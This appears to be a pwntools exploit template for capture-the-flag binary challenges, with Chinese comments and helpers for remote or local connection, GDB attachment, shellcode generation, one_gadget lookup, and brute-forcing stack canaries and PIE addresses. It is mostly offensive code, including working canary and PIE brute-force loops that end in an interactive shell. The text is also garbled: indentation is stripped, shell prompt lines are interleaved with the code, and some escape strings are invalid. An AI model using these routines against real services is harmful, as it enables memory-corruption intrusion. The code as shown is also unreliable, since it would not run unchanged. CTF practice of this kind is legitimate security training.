#coding:utf-8
import sys
from pwn import *
from one_gadget import generate_one_gadget
# context.terminal = ["tmux","splitw","-h"]
context.terminal = ["tmux","new-window"]
context.log_level = "debug"
### 远程本地连接
def ProLoc(elf_addr,libc_addr,pro_libc):
global sh,elf,libc,one_ggs
if len(sys.argv) > 1 :
ip = sys.argv[1]
prot = sys.argv[2]
sh = remote(ip,prot)
libc = pro_libc
else:
sh = process(elf_addr)
elf = ELF(elf_addr)
libc = ELF(libc_addr)
one_ggs = one_gadget(libc_addr)
### GDB调试
def debug(cmd=""):
if len(sys.argv) == 1:
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(libc_addr):
log.progress("Leak One_Gadgets...")
path_to_libc=libc_addr
gadget =[]
for offset in generate_one_gadget(path_to_libc):
gadget.append(int(offset))
return gadget
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")
def exp():
success("info_success") # 正确提示信息
info("info_info") # 提示信息
info.progress("info_progress") # 加载信息
debug() # 加载GDB调试
"""
...EXP...
"""
sh.interactive()
if __name__=="__main__":
elf_addr = "./babyheap" # 本地ELF
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
pro_libc = "" # 远程Libc文件
ProLoc(elf_addr,libc_addr,pro_libc)
exp()
➜ DA1SY python exp.py <= 本地
➜ DA1SY python exp.py 192.168.10.10 22520 <= 远程 [Ip+Port]
### blasting_Canary
def blasting_canary(offset,input_prompt,fw):
#距离canary的偏移量,输入提示,架构
sh.recvuntil(input_prompt+'\n')
canary = '\x00'
if fw =="32":
for_num = 3
else:
for_num = 7
for k in range(for_num):
for i in range(256):
success("Canary ->"+canary)
log.info("------------- No." + str(k) + ":" + chr(i)+" -------------")
#gdb.attach(sh)
sh.send('A'*offset + canary + chr(i))
recv = sh.recvuntil(input_prompt+"\n")
if "stack smashing detected" in recv:
continue
else:
canary += chr(i)
success("Canary =>"+canary)
break
return canary
# canary = blasting_canary(0x70-0x8,"Hello,Pwner!","64")
### blasting_PIE
def blasting_pie(last_1,last_2_1,tips):
# 固定的最后1字节,固定的第3位,接收信息提示
last_2 = ["\x0"+last_2_1,"\x1"+last_2_1,"\x2"+last_2_1,"\x3"+last_2_1,"\x4"+last_2_1,"\x5"+last_2_1,"\x6"+last_2_1,"\x7"+last_2_1,"\x8"+last_2_1,"\x9"+last_2_1,"\xa"+last_2_1,"\xb"+last_2_1,"\xc"+last_2_1,"\xd"+last_2_1,"\xe"+last_2_1,"\xf"+last_2_1]
vsyscall = 0xffffffffff600000
for k in range(200):
log.info("Blow up the end of PIE No."+str(k))
for i in last_2:
payload = "A"*(0x70-0x8) + canary
payload += p64(vsyscall)*k+last_1+i
try:
#gdb.attach(sh)
sh.send(payload)
recv = sh.recvline()
if tips in recv :
continue
else:
sh.interactive()
break
except KeyboardInterrupt:
#当程序卡住不动时,CTRL+C
sh.interactive()
except:
continue
# blasting_pie("\x33","\xa","hello")